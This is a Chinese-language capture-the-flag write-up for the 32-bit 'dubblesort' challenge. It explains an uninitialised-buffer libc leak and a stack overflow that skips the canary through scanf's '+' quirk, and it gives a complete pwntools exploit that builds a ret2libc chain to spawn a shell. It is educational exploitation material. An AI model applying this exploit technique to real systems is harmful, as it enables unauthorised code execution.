dubblesort
首先看一下程序的保護機制
保護全開,並且是一個32位程序
然後,我們用IDA分析一下
這裏,有兩個漏洞
第一個是在調用read之前,沒有調用memset對buf清空,因此,buf裏可能之前會有一些殘留的關鍵數據
第二個是,輸入的整數個數沒有上限,可以造成數據溢出,其實也就是棧溢出。
我們在read斷點,然後觀察棧中的數據,發現數據還未輸入時,棧裏就有一些關鍵數據
我們可以輸入7 * 4 = 28個字符,然後printf時,就會把接下來的數據打印出來,直到遇\x00
泄露這個數據後(當前爲0xF7797244),然後我們找到libc的基地址,當前爲0xF75E9000
然後我,我們算的它們之間的偏移
Off = 0xF7797244 - 0xF75E9000 = 0x1AE244
於是,我們就這樣泄露libc地址
- #泄露地址並計算出libc的地址
- payload = 'a'*0x1C
- sh.sendafter('name :',payload)
- sh.recvuntil(payload)
- #計算libc加載地址
- libc_base = u32(sh.recv(4)) - off
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
接下來,我們來做一個實驗,讓我們先拋開本題,來看看這樣的代碼
- #include <stdio.h>
- int main() {
- int a = 10;
- while (true) {
- scanf("%u",&a);
- printf("%u\n",a);
- }
- }
然後,我們發現,當我們輸入+或-符號,scanf就直接跳過了對a的輸入
經過測試,%u、%x、%d等都有這種特性
然後,我們繼續分析此題,
我們接下來會輸入n個整數,存入v13的空間處,而v13在ebp-0x70處,v15存的是canary的值,它位於ebp-0x10處,我們不能把canary的值給改了,我們需要保留它,因此,我們先輸入(0x70-0x10)/4 = 24個整數,然後接下來輸入+或-號,跳過當前輸入,然後我們到達ebp-0xC處,距離返回地址ebp+0x4還差0x10/4=4個,因此,我們繼續輸入4個整數,接下來,我們再輸入ROP即可
注意,本題IDA分析出來的位置相對於ebp不準,但是各個變量之間的相對關係還是準的
實際,距離返回地址ebp+0x4還差7個,調試調試就知道了
由於,我們輸入的數據會做一遍升序排序,所以,爲了保留我們輸入的順序,我們前24個數據都輸入0,然後輸入+或-跳過canary,然後輸入(7 + 1 + 1)個system的地址整數值,然後輸入一個binsh_addr的整數值,程序退出main後,便執行shell
因爲system_addr總是小於binsh_addr,而這兩個地址值一般大於canary的值,canary是個隨機生成的數,如果有時不滿足這個大小關係,只需重新執行程序,多試幾次即可。
於是,我們最終的exp腳本是這樣的
- #coding:utf8
- from pwn import *
- sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.so.6"})
- #sh = remote('111.198.29.45',57605)
- libc = ELF('./libc_32.so.6')
- off = 0x1AE244
- #泄露地址並計算出libc的地址
- payload = 'a'*0x1C
- sh.sendafter('name :',payload)
- sh.recvuntil(payload)
- #計算libc加載地址
- libc_base = u32(sh.recv(4)) - off
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- n = 35
- sh.sendlineafter('sort :',str(n))
- for i in range(0,n-11):
- sh.sendlineafter('number :',str(0))
- sh.sendlineafter('number :','+')
- for i in range(0,9):
- sh.sendlineafter('number :',str(system_addr))
- sh.sendlineafter('number :',str(binsh_addr))
- sh.interactive()
本題告訴我們,
用read讀取數據到緩衝區前,先對緩衝區初始化
數組要檢查下標越界